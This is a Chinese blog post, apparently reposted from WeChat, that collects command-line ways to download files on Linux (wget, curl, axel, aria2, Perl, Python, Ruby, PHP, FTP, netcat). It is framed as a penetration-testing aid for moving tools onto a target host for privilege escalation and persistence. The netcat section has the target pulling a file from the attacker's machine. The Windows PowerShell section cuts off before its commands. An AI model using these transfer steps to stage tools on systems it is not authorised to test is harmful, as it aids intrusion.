目录

工欲善其事

实践出真知

活跃标签: linux java mysql 待分类 windows js win10 springboot pdf idea docker 电路 esp32 vue macOS nginx git Arduino maven ffmpeg

存档:

X

命令行终端下载指令大全 ( Win + Linux )

640.jpg

1. 简介

在我们渗透测试的过程中,通常会需要向目标主机传送一些文件,来达到提权,维持控制等目的。因此当不方便进行直接传输时,同时目标主机是能有网络连接的,那么此时就可以通过本地下载这种方法来达到文件传输的目的。此篇文章,我会对互联网上针对 win 与 linux 大部分的下载指令来做一个汇总,可能会有疏漏,但汇总的都是经常会用的。

2. Linux

2.1 Wget

这款工具功能很丰富,可以充当某种功能完备的 GUI 下载管理器,它拥有一款理想的下载管理器所需要的所有功能,比如它可以恢复下载,可以下载多个文件,出现某个连接问题后,可以重新尝试下载,你甚至可以管理最大的下载带宽。

直接下载:

wget http://www.sample-videos.com/video/mp4/big.mp4

后台下载:

wget -b http://www.sample-videos.com/video/mp4/big.mp4

如果互联网连接出现中断,恢复下载:

wget -c http://www.sample-videos.com/video/mp4/big.mp4

从某个密码保护的 ftp 软件库下载文件:

wget --ftp-user=<user_name> --ftp-password=<Give_password> Download-url-address

2.2 Curl

Curl 是另一种高效的下载工具,它可以用来上传或下载文件,只要使用一个简单的命令。它支持暂停和恢复下载程序包,并支持数量最多的 Web 协议,可预测下载完成还剩余多少时间,可通过进度条来显示下载进度。它是所有 Linux 发行版的内置工具。

直接下载:

curl -o um.mp4 http://www.sample-videos.com/video/mp4/big.mp4

借助 - o 选项,提供名称,下载文件会以该名称保存;如使用 - O 选项,文件就会以原始名称保存。

2.3 Axel

这是 wget 的出色替代者,是一款轻量级下载实用工具。它实际上是个加速器,因为它打开了多路 http 连接,可下载独立文件片段,因而文件下载起来更快速。

apt-get install axel

直接下载:

axel http://www.sample-videos.com/video/mp4/big.mp4

2.4 Aria2

这是一种开源命令行下载加速器,支持多个端口,你可以使用最大带宽来下载文件,是一款易于安装、易于使用的工具。

apt-get install aria2

直接下载:

aria2c http://www.sample-videos.com/video/mp4/big.mp4

2.5 Perl

Perl 是一门很吊的语言,使用它基本可以实现任何事情,用它实现文件下载也很简单。

#!perl
#!/usr/bin/perl
use LWP::Simple;
getstore("http://domain/file", "file");

执行脚本文件是这样:

perl test.pl

2.6 Python

Python 也是很受欢迎的主流脚本语言,代码清晰且简洁:

#!python
#!/usr/bin/python
import urllib2
u = urllib2.urlopen('http://domain/file')
localFile = open('local_file', 'w')
localFile.write(u.read())
localFile.close()

2.7 Ruby

Ruby 是一个面对对象的语言,Metasploit 框架就是用它来实现的,当然他也可以实现像下载文件这样的小任务。微信搜索公众号:前端技术编程,回复:前端 领取资料 。

#!ruby

#!/usr/bin/ruby

require 'net/http'
Net::HTTP.start("www.domain.com") { | http |
        r = http.get("/file")
    open("save_location", "wb") { | file |
            file.write(r.body)
    }
}

执行脚本文件是这样;

ruby test.rb

2.8 PHP

PHP 作为一种服务端脚本,也可以实现下载文件这种功能。

#!/usr/bin/php
<?php
        $data = @file("http://example.com/file");
        $lf = "local_file";
        $fh = fopen($lf, 'w');
        fwrite($fh, $data[0]);
        fclose($fh);
?>

执行脚本文件是这样:

php test.php

2.9 FTP

一般情况下攻击者使用 FTP 上传文件需要很多交互的步骤,下面这个 bash 脚本,考虑到了交互的情况,可以直接执行并不会产生交互动作。

ftp 127.0.0.1
username
password
get file
exit

当然根据实际情况也可以进入交互终端:

ftp 192.168.3.2
输入用户名和密码后
lcd E:\file # 进入E盘下的file目录
cd www # 进入服务器上的www目录
get access.log # 将服务器上的access.log下载到E:\file

2.10 Netcat

攻击者的电脑上输入:

cat file | nc -l 1234

这个命令会将 file 的内容输出到本地的 1234 端口中,然后不论谁连接此端口,file 的内容将会发送到连接过来的 IP。

目标电脑上的命令:

nc host_ip 1234 > file

这条命令将连接攻击者的电脑,接受 file 内容保存。

3. Windows

3.1 Powershell

PowerShell 是一种 winodws 原生的脚本语言,对于熟练使用它的人来说,可以实现很多复杂的功能。

下面这两条指令实现了从 Internet 网络下载一个文件。

https://mp.weixin.qq.com/s/Uq8IddSgabQ24lM6Z1dj3g


标题:命令行终端下载指令大全 ( Win + Linux )
作者:llilei
地址:http://solo.llilei.work/articles/2022/11/18/1668760895097.html